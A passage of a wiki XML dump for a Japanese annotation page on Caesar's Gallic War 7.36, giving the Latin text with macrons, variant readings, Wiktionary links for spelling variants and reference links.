[[wikt:en:exsistit|exsistit]], [[wikt:en:exspectent#Latin|exspectent]], [[wikt:en:exposcentes#Latin|exposcentēs]], [[wikt:en:extruxerunt#Latin|extruxerunt]], [[wikt:en:ferventes#Latin|ferventēs]], [[wikt:en:fines#Latin|fīnēs]], [[wikt:en:glandes#Latin|glandēs]], [[wikt:en:haesitantes#Latin|haesitantēs]], [[wikt:en:hostes#Latin|hostēs]], [[wikt:en:ignes|ignēs]], [[wikt:en:inlatas|inlātās]], [[wikt:en:inlustrem#Latin:_adjective|inlūstrem]], [[wikt:en:inmittit|inmittit]], [[wikt:en:inmittunt|inmittunt]], [[wikt:en:inparatum|inparātum]], [[wikt:en:inpedita#Latin|inpedīta]], [[wikt:en:imperii#Latin|imperiī]], [[wikt:en:inprudentia#Noun|inprūdentia]], [[wikt:en:incolumes|incolumēs]], [[wikt:en:indignantes#Latin|indignantēs]], [[wikt:en:inopinantes|inopīnantēs]], [[wikt:en:inridere|inrīdēre]], [[wikt:en:inrumpere|inrumpere]], [[wikt:en:inrumpit|inrumpit]], [[wikt:en:inruperunt|inrūpērunt]], [[wikt:en:laborantes#Latin|labōrantēs]], [[wikt:en:montes#Latin|montēs]], [[wikt:en:natales#Latin|nātālēs]], [[wikt:en:naves#Latin|nāvēs]], [[wikt:en:negotii|negōtiī]], [[wikt:en:nonnullae|nōnnūllae]], [[wikt:en:nonnullos|nōnnūllōs]], [[wikt:en:officii#Latin|officiī]], [[wikt:en:omnes#Latin|omnēs]], [[wikt:en:partes#Latin|partēs]], [[wikt:en:periculum#Latin|perīculum]], [[wikt:en:plures|plūrēs]], [[wikt:en:praesidii|praesidiī]], [[wikt:en:proelii|proeliī]],  [[wikt:en:proficiscentes|proficīscentēs]], [[wikt:en:resistentes#Latin|resistentēs]], [[wikt:en:singulares#Latin|singulārēs]], [[wikt:en:solacii|sōlāciī]], [[wikt:en:spatii#Latin|spatiī]], [[wikt:en:subeuntes|subeuntēs]], [[wikt:en:subfossis|subfossīs]], [[wikt:en:subministrata|subministrāta]], [[wikt:en:submissis|submissīs]], [[wikt:en:submittantur#Latin|submittantur]], [[wikt:en:submittebat|submittēbat]], [[wikt:en:submittit|submittit]], [[wikt:en:submotis|submōtīs]], [[wikt:en:submoveri|submovērī]], [[wikt:en:supplicii|suppliciī]], [[wikt:en:testes#Latin|testēs]], [[wikt:en:timentes|timentēs]], [[wikt:en:Titurii|Titūriī]], [[wikt:en:Trinovantes#Latin|Trinovantēs]], [[wikt:en:tres#Latin|trēs]], [[wikt:en:turres#Latin|turrēs]], [[wikt:en:utiles#Latin|ūtilēs]], [[wikt:en:vectigales|vectīgālēs]]  &lt;/span&gt; などとした。
--&gt;


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color:#b00;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt; 
&lt;span style=&quot;font-size:10pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;

== 注解 ==
=== 1項 ===
&lt;span style=&quot;font-family:Times New Roman;font-size:20pt;&quot;&gt;&lt;/span&gt;

;語釈


&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;background-color:#fff;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;


&lt;span style=&quot;background-color:#ccffcc;&quot;&gt;&lt;/span&gt;

&lt;!--
;対訳
《　》　内は、訳者が説明のために補った語。&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;{&lt;/span&gt;　&lt;span style=&quot;font-family:Times New Roman;font-size:30pt;&quot;&gt;}&lt;/span&gt;　内は関係文。

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;
--&gt;

== 訳文 ==
*&lt;span style=&quot;background-color:#dff;&quot;&gt;訳文は、[[ガリア戦記_第7巻#36節]]&lt;/span&gt;

== 脚注 ==
{{Reflist}}
== 解説 ==


&lt;!--

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot;
|- style=&quot;height:23em;&quot; 
|
|
|}

--&gt;

== 関連項目 ==
*[[ガリア戦記]]
**[[ガリア戦記/注解編]]
***[[ガリア戦記 第7巻/注解]]
**[[ガリア戦記/用例集]]

== 関連記事 ==
== 外部リンク ==
* [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=264 #264 - C. Iuli Caesaris De bello gallico libri VII : Caesar's Gallic ... - Full View | HathiTrust Digital Library]
* [https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-lat2:7.36 Scaife Viewer | De Bello Gallico]
* [https://reader.humanitext.ai/en/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:7.36.1-7.36.7 Arrival at Gergovia and Capture of the Strategic Hill — Julius Caesar, Gallic War Book 7 (7.36.1–7.36.7), Latin &amp; English · Humanitext Reader]
* [https://reader.humanitext.ai/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:7.36.1-7.36.7 ゲルゴウィア到着と要衝の丘の占領｜『ガリア戦記』§7.36.1-7.36.7（ユリウス・カエサル）ラテン語原文・日本語訳 · Humanitext Reader]

[[Category:ガリア戦記 第7巻|36節]]</text>
      <sha1>hv0v6wioynsfv2muglori6uxoiktku3</sha1>
    </revision>
    <revision>
      <id>305275</id>
      <parentid>305252</parentid>
      <timestamp>2026-11-01T11:02:11Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <comment>/* 整形テキスト */</comment>
      <origin>305275</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="21769" sha1="41i7kanc9nftddq3x1s6zospah62aj0" xml:space="preserve">&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:15pt;color:#990033;text-align:center;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARIORVM &amp;middot; BELLI &amp;middot; GALLICI&lt;/div&gt;
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:30pt;color:#990033;text-align:center;&quot;&gt;LIBER &amp;middot; SEPTIMVS&lt;/div&gt;
&lt;br&gt;
{| id=&quot;toc&quot; style=&quot;align:center;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#bbf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記/注解編|ガリア戦記 注解編]] &amp;nbsp;
| style=&quot;background:#ccf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記 第7巻/注解|第7巻]] &amp;nbsp;
| style=&quot;background:#eef; text-align:center;&quot;|
&amp;nbsp;[[ガリア戦記 第7巻/注解/35節|35節]] |
[[ガリア戦記 第7巻/注解/36節|36節]] |
[[ガリア戦記 第7巻/注解/37節|37節]] &amp;nbsp;
|}
__notoc__
== 原文テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;原文テキストについては[[ガリア戦記/注解編#原文テキスト]]を参照。&lt;/ref&gt; 36. &amp;nbsp;&amp;nbsp; &lt;!--❶--&gt;&lt;sup&gt;1&lt;/sup&gt; Caesar ex eo loco quintis castris Gergoviam pervenit equestrique eo die proelio levi facto, perspecto urbis situ, quae posita in altissimo monte omnis&lt;!--omnes--&gt; aditus difficilis&lt;!--difficiles--&gt; habebat, de &lt;!--(α) --&gt;expugnatione&lt;!--(β) --&gt; desperavit&lt;!--,--&gt;;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  de obsessione non prius agendum constituit&lt;!--,--&gt; quam rem frumentariam expedisset.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❷--&gt;&lt;sup&gt;2&lt;/sup&gt; At Vercingetorix, castris&lt;!--,--&gt; prope oppidum &lt;!--(β) in monte--&gt; positis, mediocribus circum se intervallis separatim singularum civitatum copias collocaverat&lt;!--conlocaverat--&gt;&lt;!--,--&gt; atque omnibus eius iugi collibus occupatis, qua despici poterat, horribilem speciem praebebat;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❸--&gt;&lt;sup&gt;3&lt;/sup&gt; principesque earum civitatum&lt;!--,--&gt; quos sibi ad consilium capiendum delegerat&lt;!--,--&gt; prima luce cotidie ad se convenire iubebat, seu quid communicandum&lt;!--,--&gt; seu quid administrandum videretur&lt;!--,--&gt;;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❹--&gt;&lt;sup&gt;4&lt;/sup&gt; neque ullum fere diem intermittebat&lt;!--,--&gt; quin equestri proelio interiectis sagittariis&lt;!--,--&gt; quid in quoque esset animi ac virtutis suorum&lt;!--,--&gt; periclitaretur&lt;!--(α) perspiceretur--&gt;&lt;!--(Tc) perspiceret--&gt;.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❺--&gt;&lt;sup&gt;5&lt;/sup&gt; Erat e regione oppidi collis sub ipsis radicibus montis&lt;!--,--&gt; egregie munitus atque ex omni parte circumcisus;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  quem si tenerent nostri, et aquae magna parte et pabulatione libera prohibituri hostis&lt;!--hostes--&gt; videbantur.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❻--&gt;&lt;sup&gt;6&lt;/sup&gt; Sed is locus praesidio ab his, non &lt;!--(ω) --&gt;nimis firmo&lt;!--(Zucker) infirmo--&gt; &lt;!--(Oudendorp) --&gt;tamen tenebatur&lt;!--(ω) tenebatur. Tamen--&gt;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❼--&gt;&lt;sup&gt;7&lt;/sup&gt; silentio noctis Caesar ex castris egressus, prius quam&lt;!--priusquam--&gt; subsidio ex oppido veniri posset&lt;!--,--&gt; deiecto praesidio, potitus loco duas ibi legiones collocavit&lt;!--conlocavit--&gt;, fossamque duplicem duodenum pedum a maioribus castris ad minora perduxit, ut tuto ab repentino hostium incursu etiam singuli commeare possent.  &lt;/div&gt;
&lt;span style=&quot;background-color:#ffc;&quot;&gt;&lt;/span&gt;
----
;テキスト引用についての注記


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;&lt;/span&gt;

== 整形テキスト ==
&lt;div style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;color:#333;text-align:left;&quot;&gt;&lt;ref&gt;整形テキストについては[[ガリア戦記/注解編#凡例]]を参照。&lt;/ref&gt; XXXVI. &amp;nbsp;&amp;nbsp; &lt;!--❶--&gt;&lt;sup&gt;①&lt;/sup&gt;Caesar ex eō locō quīntīs castrīs Gergoviam pervēnit equestrīque eō diē proeliō levī factō, perspectō urbis sitū, quae posita in altissimō monte &lt;span style=&quot;color:#800;&quot;&gt;omnēs&lt;/span&gt;&lt;!--omnīs--&gt; aditūs &lt;span style=&quot;color:#800;&quot;&gt;difficilēs&lt;/span&gt;&lt;!--difficilīs--&gt; habēbat, dē &lt;!--(α) --&gt;&lt;u&gt;expugnātiōne&lt;/u&gt;&lt;!--(β) oppugnātiōne--&gt; dēspērāvit&lt;!--,--&gt;;   &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   dē obsessiōne nōn prius agendum cōnstituit&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; quam rem frūmentāriam expedīsset.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❷--&gt;&lt;sup&gt;②&lt;/sup&gt;At Vercingetorīx, castrīs&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; prope oppidum &lt;span style=&quot;color:#800;&quot;&gt;(&lt;u&gt;in monte&lt;/u&gt;)&lt;/span&gt;&lt;!--(β) in monte--&gt; positīs, mediocribus circum sē intervāllīs sēparātim singulārum cīvitātum cōpiās &lt;span style=&quot;color:#800;&quot;&gt;conlocāverat&lt;/span&gt;&lt;!--collocāverat--&gt;&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; atque omnibus eius iugī collibus occupātīs, quā dēspicī poterat, horribilem speciem praebēbat;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❸--&gt;&lt;sup&gt;③&lt;/sup&gt;prīncipēsque eārum cīvitātum&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; quōs sibi ad consilium capiendum dēlēgerat&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; prīmā lūce cotīdiē ad sē convenīre iubēbat, seu quid commūnicandum&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; seu quid administrandum vidērētur&lt;!--,--&gt;;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp; &lt;!--❹--&gt;&lt;sup&gt;④&lt;/sup&gt;neque ūllum ferē diem intermittēbat&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; quīn equestrī proeliō interiectīs sagittāriīs&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; quid in quōque esset animī ac virtūtis suōrum&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; &lt;u&gt;perīclitārētur&lt;/u&gt;&lt;!--(α) perspicerētur--&gt;&lt;!--(Tc) perspiceret--&gt;.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❺--&gt;&lt;sup&gt;⑤&lt;/sup&gt;Erat ē regiōne oppidī collis sub ipsīs rādīcibus montis&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; ēgregiē mūnītus atque ex omnī parte circumcīsus;   &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   quem sī tenērent nostrī, et aquae magnā parte et pābulātiōne līberā prohibitūrī &lt;span style=&quot;color:#800;&quot;&gt;hostēs&lt;/span&gt;&lt;!--hostīs--&gt; vidēbantur.  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❻--&gt;&lt;sup&gt;⑥&lt;/sup&gt;Sed is locus praesidiō ab hīs, nōn &lt;!--(ω) --&gt;&lt;u&gt;nimis firmō&lt;/u&gt;&lt;!--(Zucker) īnfīrmō--&gt; &lt;!--(Oudendorp) --&gt;&lt;u&gt;tamen tenēbātur&lt;/u&gt;&lt;!--(ω) tenēbātur. Tamen--&gt;  &amp;nbsp;&lt;!--◆--&gt;&amp;nbsp;  &lt;!--❼--&gt;&lt;sup&gt;⑦&lt;/sup&gt;Silentiō noctis Caesar ex castrīs ēgressus, prius quam&lt;!--priusquam--&gt; subsidiō ex oppidō venīrī posset&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; dēiectō praesidiō, potītus locō&lt;!--,--&gt;&lt;span style=&quot;color:#800;&quot;&gt;,&lt;/span&gt; duās ibi legiōnēs &lt;span style=&quot;color:#800;&quot;&gt;conlocāvit&lt;/span&gt;&lt;!--collocāvit--&gt;, fossamque duplicem duodēnum pedum ā maiōribus castrīs ad minōra perdūxit, ut tūtō ab repentīnō hostium incursū etiam singulī commeāre possent.  &lt;/div&gt;
&lt;span style=&quot;color:#800;&quot;&gt;&lt;/span&gt;
---- 
;注記
*原文の &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:collocaverat#Latin|collocāverat]], [[wikt:en:collocavit|collocāvit]], [[wikt:en:difficilis#Latin|difficilīs]], [[wikt:en:hostis#Latin|hostīs]], [[wikt:en:omnis#Latin|omnīs]] &lt;!--[[wikt:en:acclivis#Latin|acclīvis]], [[wikt:en:accommodatae|accommodātae]], [[wikt:en:allatis|allātīs]], [[wikt:en:Aduatuca#Latin|Aduātucam]], [[wikt:en:Aduatuci|Aduatucī]], [[wikt:en:Aduatucis|Aduatucīs]], [[wikt:en:Aduatucos|Aduatucōs]], [[wikt:en:Aeduae|Aeduae]], [[wikt:en:Aedui#Latin|Aeduī]], [[wikt:en:Aeduis|Aeduīs]], [[wikt:en:Aeduorum|Aeduōrum]], [[wikt:en:Aeduos|Aeduōs]], [[wikt:en:Aeduus#Latin|Aeduus]], [[wikt:en:aequinocti|aequinoctī]], [[wikt:en:affecti|affectī]], [[wikt:en:affectus#Participle|affectus]], [[wikt:en:afferat|afferat]], [[wikt:en:afferebat|afferēbat]], [[wikt:en:afferret|afferret]], [[wikt:en:afferretur|afferrētur]], [[wikt:en:afflictae|afflīctae]], [[wikt:en:affligunt|afflīgunt]], [[wikt:en:aggregabat|aggregābat]], [[wikt:en:aggregaverant|aggregāverant]] ([[wikt:en:aggregarant|aggregārant]]), [[wikt:en:allato|allātō]], [[wikt:en:alliciebat#Latin|alliciēbat]], [[wikt:en:Alpis#Latin|Alpīs]], [[wikt:en:appelluntur|appelluntur]], [[wikt:en:appetebat|appetēbat]], [[wikt:en:apportari|apportārī]], [[wikt:en:applicant#Latin|applicant]], [[wikt:en:approbant#Latin|approbant]], [[wikt:en:appropinquabat|appropinquābat]], [[wikt:en:appropinquare#Latin|appropinquāre]], [[wikt:en:appropinquarent|appropinquārent]], [[wikt:en:appropinquassent|appropinquāssent]], [[wikt:en:appropinquaverunt|appropinquāvērunt]] ([[wikt:en:appropinquarunt|appropinquārunt]]), [[wikt:en:appropinquavit|appropinquāvit]], [[wikt:en:appulso#Latin|appulsō]], [[wikt:en:arripere|arripere]], [[wikt:en:articlis|articlīs]], [[wikt:en:ascendissent#Latin|ascendissent]], [[wikt:en:ascensu#Noun|ascēnsū]], [[wikt:en:assidua#Latin|assiduā]], [[wikt:en:assiduis#Latin|assiduīs]], [[wikt:en:assuefacti|assuēfactī]], [[wikt:en:assuescere#Latin|assuēscere]], [[wikt:en:attingit|attingit]], [[wikt:en:attingunt|attingunt]], [[wikt:en:attribuerat#Latin|attribuerat]], [[wikt:en:attribuit|attribuit]], [[wikt:en:attribuunt|attribuunt]], [[wikt:en:auris#Latin|aurīs]], [[wikt:en:auxili#Latin|auxilī]], [[wikt:en:cedentis|cēdentīs]], [[wikt:en:civis#Latin|cīvīs]], [[wikt:en:clientis|clientīs]], [[wikt:en:cohortis|cohortīs]], [[wikt:en:coicere|coicere]], [[wikt:en:coicerent|coicerent]], [[wikt:en:coici|coicī]], [[wikt:en:coiciant|coiciant]], [[wikt:en:coiciebant|coiciēbant]], [[wikt:en:coiciunt|coiciunt]], [[wikt:en:coiecerant|coiēcerant]], [[wikt:en:coiecerunt|coiēcērunt]], [[wikt:en:coiecisse|coiēcisse]], [[wikt:en:coiecta|coiecta]], [[wikt:en:coiecti|coiectī]], [[wikt:en:coiectis|coiectīs]], [[wikt:en:collatis|collātīs]], [[wikt:en:collaudantur|collaudantur]], [[wikt:en:collaudat|collaudat]],  [[wikt:en:collaudatis#Participle|collaudātīs]], [[wikt:en:collis#Latin|collīs]], [[wikt:en:collocabant|collocābant]], [[wikt:en:collocabat|collocābat]], [[wikt:en:collocandis|collocandīs]], [[wikt:en:collocant#Latin|collocant]], [[wikt:en:collocantur#Latin|collocantur]], [[wikt:en:collocarat|collocārat]], [[wikt:en:collocare#Latin|collocāre]], [[wikt:en:collocaret|collocāret]], [[wikt:en:collocari|collocārī]], [[wikt:en:collocatas|collocātās]], [[wikt:en:collocati#Latin|collocātī]], [[wikt:en:collocatis#Participle|collocātīs]], [[wikt:en:collocuti|collocūtī]], [[wikt:en:colloquantur|colloquantur]], [[wikt:en:colloquendi|colloquendī]], [[wikt:en:colloqui#Latin|colloquī]], [[wikt:en:colloquium#Latin|colloquium]], [[wikt:en:communis#Latin|commūnīs]], [[wikt:en:compluribus|complūribus]], [[wikt:en:compluris|complūrīs]], [[wikt:en:comprehensis|comprehēnsīs]], [[wikt:en:comprehensos|comprehēnsōs]], [[wikt:en:conantis|cōnantīs]], [[wikt:en:consili|cōnsilī]], [[wikt:en:directus#Latin|dīrēctus]], [[wikt:en:dubitantis#Participle_2|dubitantīs]], [[wikt:en:effarciuntur#Latin|effarciuntur]], [[wikt:en:egredientis#Etymology_2|ēgredientīs]], [[wikt:en:ei#Latin|eī]], [[wikt:en:eis#Latin|eīs]], [[wikt:en:existit#Latin|existit]], [[wikt:en:expectent#Latin|expectent]], [[wikt:en:exposcentis#Participle_2|exposcentīs]], [[wikt:en:exstruxerunt#Latin|exstruxerunt]], [[wikt:en:ferventis#Latin|ferventīs]], [[wikt:en:finis#Latin|fīnīs]], [[wikt:en:glandis#Latin|glandīs]], [[wikt:en:haesitantis#Participle_2|haesitantīs]], [[wikt:en:ignis#Latin|ignīs]], [[wikt:en:illatas|illātās]], [[wikt:en:illustrem#Latin:_adjective|illūstrem]], [[wikt:en:immittit|immittit]], [[wikt:en:immittunt|immittunt]], [[wikt:en:imparatum|imparātum]], [[wikt:en:impedita#Latin|impedīta]], [[wikt:en:imperi#Latin|imperī]], [[wikt:en:imprudentia#Noun|imprūdentia]], [[wikt:en:incolumis#Latin|incolumīs]], [[wikt:en:indignantis#Participle_2|indignantīs]], [[wikt:en:inopinantis#Adjective_2|inopīnantīs]], [[wikt:en:irridere#Latin|irrīdēre]], [[wikt:en:irrumpere|irrumpere]], [[wikt:en:irrumpit|irrumpit]], [[wikt:en:irruperunt|irrūpērunt]], [[wikt:en:laborantis#Etymology_2|labōrantīs]], [[wikt:en:montis|montīs]], [[wikt:en:natalis#Latin|nātālīs]], [[wikt:en:navis#Latin|nāvīs]], [[wikt:en:negoti|negōtī]], nōn nūllae, nōn nūllōs, [[wikt:en:offici#Noun_2|officī]], [[wikt:en:partis#Latin|partīs]], [[wikt:en:periclum#Latin|perīclum]], plūrīs, [[wikt:en:praesidi|praesidī]], [[wikt:en:proeli|proelī]], proficīscentīs, [[wikt:en:resistentis|resistentīs]], [[wikt:en:singularis#Latin|singulārīs]], [[wikt:en:solaci|sōlācī]], [[wikt:en:spati#Latin|spatī]], [[wikt:en:subeuntis|subeuntīs]], [[wikt:en:suffossis|suffossīs]], [[wikt:en:sumministrata|sumministrāta]], [[wikt:en:summissis|summissīs]], [[wikt:en:summittantur#Latin|summittantur]], [[wikt:en:summittebat|summittēbat]], [[wikt:en:summittit|summittit]], [[wikt:en:summotis|summōtīs]], [[wikt:en:summoveri|summovērī]], [[wikt:en:supplici#Noun|supplicī]], [[wikt:en:testis#Latin|testīs]], [[wikt:en:timentis#Participle_2|timentīs]], [[wikt:en:Tituri|Titūrī]], [[wikt:en:Trinobantes#Latin|Trinobantēs]], trīs, [[wikt:en:turris#Latin|turrīs]], [[wikt:en:utilis#Latin|ūtilīs]], [[wikt:en:vectigalis#Latin|vectīgālīs]]  --&gt;&lt;/span&gt; などは、&lt;br&gt;それぞれ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[wikt:en:conlocaverat#Latin|conlocāverat]], [[wikt:en:conlocavit|conlocāvit]], [[wikt:en:difficiles#Latin|difficilēs]], [[wikt:en:hostes#Latin|hostēs]], [[wikt:en:omnes#Latin|omnēs]] &lt;!--[[wikt:en:adclivis#Latin|adclīvis]], [[wikt:en:adcommodatae|adcommodātae]], [[wikt:en:adlatis|adlātīs]], Atuātucam, [[wikt:de:Atuatuci|Atuatucī]], Atuatucīs, Atuatucōs, Haeduae, [[wikt:en:Haedui|Haeduī]], [[wikt:en:Haeduis|Haeduīs]], [[wikt:en:Haeduorum|Haeduōrum]], [[wikt:en:Haeduos|Haeduōs]], Haeduus, [[wikt:en:aequinoctii|aequinoctiī]], [[wikt:en:adfecti|adfectī]], [[wikt:en:adfectus#Adjective|adfectus]], [[wikt:en:adferat|adferat]], [[wikt:en:adferebat|adferēbat]], [[wikt:en:adferret|adferret]], [[wikt:en:adferretur|adferrētur]], [[wikt:en:adflictae|adflīctae]], [[wikt:en:adfligunt|adflīgunt]], [[wikt:en:adgregabat|adgregābat]], [[wikt:en:adgregaverant|adgregāverant]] ([[wikt:en:adgregarant|adgregārant]]), [[wikt:en:adlato|adlātō]], [[wikt:en:adliciebat#Latin|adliciēbat]], [[wikt:en:Alpes#Latin|Alpēs]], [[wikt:en:adpelluntur|adpelluntur]], [[wikt:en:adpetebat|adpetēbat]], [[wikt:en:adportari|adportārī]], [[wikt:en:adplicant|adplicant]], [[wikt:en:adprobant#Latin|adprobant]], [[wikt:en:adpropinquabat|adpropinquābat]], [[wikt:en:adpropinquare|adpropinquāre]], [[wikt:en:adpropinquarent|adpropinquārent]], [[wikt:en:adpropinquassent|adpropinquāssent]], [[wikt:en:adpropinquaverunt|adpropinquāvērunt]] ([[wikt:en:adpropinquarunt|adpropinquārunt]]), [[wikt:en:adpropinquavit|adpropinquāvit]], [[wikt:en:adpulso|adpulsō]], [[wikt:en:adripere|adripere]], [[wikt:en:articulis|articulīs]], [[wikt:en:adscendissent|adscendissent]], [[wikt:en:adscensu#Noun|adscēnsū]], [[wikt:en:adsidua|adsiduā]], [[wikt:en:adsiduis#Latin|adsiduīs]], [[wikt:en:adsuefacti|adsuēfactī]], [[wikt:en:adsuescere#Latin|adsuēscere]], [[wikt:en:adtingit|adtingit]], [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adtribuerat#Latin|adtribuerat]], [[wikt:en:adtribuit|adtribuit]], [[wikt:en:adtribuunt|adtribuunt]], [[wikt:en:aures#Noun|aurēs]], [[wikt:en:auxilii|auxiliī]], [[wikt:en:cedentes#Latin|cēdentēs]], [[wikt:en:cives#Latin|cīvēs]], [[wikt:en:clientes#Latin|clientēs]], [[wikt:en:cohortes#Latin|cohortēs]], [[wikt:en:conicere|conicere]], [[wikt:en:conicerent|conicerent]], [[wikt:en:conici#Latin|conicī]], [[wikt:en:coniciant|coniciant]], [[wikt:en:coniciebant|coniciēbant]], [[wikt:en:coniciunt|coniciunt]], [[wikt:en:coniecerant|coniēcerant]], [[wikt:en:coniecerunt|coniēcērunt]], [[wikt:en:coniecisse|coniēcisse]], [[wikt:en:coniecta|coniecta]], [[wikt:en:coniecti|coniectī]], [[wikt:en:coniectis|coniectīs]], [[wikt:en:conlatis|conlātīs]], [[wikt:en:conlaudantur|conlaudantur]], [[wikt:en:conlaudat|conlaudat]], [[wikt:en:conlaudatis#Participle|conlaudātīs]], [[wikt:en:colles#Latin|collēs]], [[wikt:en:conlocabant|conlocābant]], [[wikt:en:conlocabat|conlocābat]], [[wikt:en:conlocandis|conlocandīs]], [[wikt:en:conlocant|conlocant]], [[wikt:en:conlocantur#Latin|conlocantur]], [[wikt:en:conlocarat|conlocārat]], [[wikt:en:conlocare|conlocāre]], [[wikt:en:conlocaret|conlocāret]], [[wikt:en:conlocari|conlocārī]], [[wikt:en:conlocatas|conlocātās]], [[wikt:en:conlocati|conlocātī]], [[wikt:en:conlocatis#Participle|conlocātīs]], [[wikt:en:conlocuti|conlocūtī]], [[wikt:en:conloquantur|conloquantur]], [[wikt:en:conloquendi|conloquendī]], [[wikt:en:conloqui#Latin|conloquī]], [[wikt:en:conloquium#Latin|conloquium]], [[wikt:en:communes#Latin|commūnēs]], [[wikt:en:conpluribus|conplūribus]], [[wikt:en:complures#Latin|complūrēs]], [[wikt:en:conprehensis|conprehēnsīs]], [[wikt:en:conprehensos|conprehēnsōs]], [[wikt:en:conantes|cōnantēs]], [[wikt:en:consilii|cōnsiliī]], [[wikt:en:derectus#Latin|dērēctus]], [[wikt:en:dubitantes|dubitantēs]], [[wikt:en:efferciuntur#Latin|efferciuntur]], [[wikt:en:egredientes|ēgredientēs]], [[wikt:en:ii#Latin|iī]], [[wikt:en:iis#Latin|iīs]], [[wikt:en:exsistit|exsistit]], [[wikt:en:exspectent#Latin|exspectent]], [[wikt:en:exposcentes#Latin|exposcentēs]], [[wikt:en:extruxerunt#Latin|extruxerunt]], [[wikt:en:ferventes#Latin|ferventēs]], [[wikt:en:fines#Latin|fīnēs]], [[wikt:en:glandes#Latin|glandēs]], [[wikt:en:haesitantes#Latin|haesitantēs]], [[wikt:en:ignes|ignēs]], [[wikt:en:inlatas|inlātās]], [[wikt:en:inlustrem#Latin:_adjective|inlūstrem]], [[wikt:en:inmittit|inmittit]], [[wikt:en:inmittunt|inmittunt]], [[wikt:en:inparatum|inparātum]], [[wikt:en:inpedita#Latin|inpedīta]], [[wikt:en:imperii#Latin|imperiī]], [[wikt:en:inprudentia#Noun|inprūdentia]], [[wikt:en:incolumes|incolumēs]], [[wikt:en:indignantes#Latin|indignantēs]], [[wikt:en:inopinantes|inopīnantēs]], [[wikt:en:inridere|inrīdēre]], [[wikt:en:inrumpere|inrumpere]], [[wikt:en:inrumpit|inrumpit]], [[wikt:en:inruperunt|inrūpērunt]], [[wikt:en:laborantes#Latin|labōrantēs]], [[wikt:en:montes#Latin|montēs]], [[wikt:en:natales#Latin|nātālēs]], [[wikt:en:naves#Latin|nāvēs]], [[wikt:en:negotii|negōtiī]], [[wikt:en:nonnullae|nōnnūllae]], 